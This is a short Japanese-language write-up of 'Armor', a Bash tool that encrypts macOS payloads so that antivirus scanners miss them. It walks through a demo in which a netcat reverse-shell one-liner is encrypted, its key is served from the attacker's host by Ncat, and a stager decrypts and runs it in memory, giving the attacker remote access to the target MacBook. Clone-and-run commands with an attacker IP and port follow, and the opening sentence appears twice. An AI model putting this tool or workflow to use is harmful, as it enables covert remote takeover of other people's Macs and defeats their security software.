
Armorは、アンチウイルススキャナーを回避できる暗号化されたmacOSペイロードを作成するためのシンプルなBashスクリプトです。
Armorは、アンチウイルススキャナーを回避できる暗号化されたmacOSペイロードを作成するためのシンプルなBashスクリプトです。以下は、ArmorをシンプルなNetcatペイロードで使用した例のGIFです。

Netcatリスナーがポート4444で起動されます。"payload.txt"ファイルが読み込まれ、実行されると対象のMacBookと攻撃者のNetcatリスナー間のTCP接続を作成するシンプルなbashワンライナーが含まれていることが示されます。Armorはbashワンライナーを暗号化するために使用されます。Ncatは攻撃者のサーバー上で復号キーをホストするために使用されます。ステージャーが対象のMacBookで実行されると(gifには表示されていません)、bashワンライナーが復号化され、ハードドライブにデータを書き込まずに実行されます。キーが使用された後、Ncatはすぐにリスナーを終了します。Netcat接続が確立されると、攻撃者は対象のMacBookへのリモートアクセスを取得します。
確かに、ほとんどのmacOS固有のペイロードを暗号化するのは過剰です。この特定のbashワンライナーは、Armorの助けなしでもウイルス対策を回避できます。しかし、これは単なる例です。同じ難読化の度合いは、さまざまな高度な攻撃を実行するために設計された洗練されたPython、Ruby、Shellスクリプトにも適用できます。
Armorは、入力ファイルを暗号化しSSL証明書を作成するためにLibreSSLに依存しています。システムにLibreSSLが見つからない場合、Armorはそれをインストールしようとします。この機能はarmor.shファイルにあります。Ncatも依存関係であり、Kaliでは$ apt-get update && apt-get install nmapを使用してインストールできます。
Armorは以下のコマンドを使用してクローンして実行できます。
git clone https://github.com/tokyoneon/Armor
cd Armor/
chmod +x armor.sh
./armor.sh /path/to/payload.txt 1.2.3.4 443
1.2.3.4アドレスは、復号キーがホストされる攻撃者のIPアドレスです。これはローカルIPアドレスまたはVPSにすることができます。ポート番号(443)は任意であり、必要に応じて変更できます。
質問や懸念事項: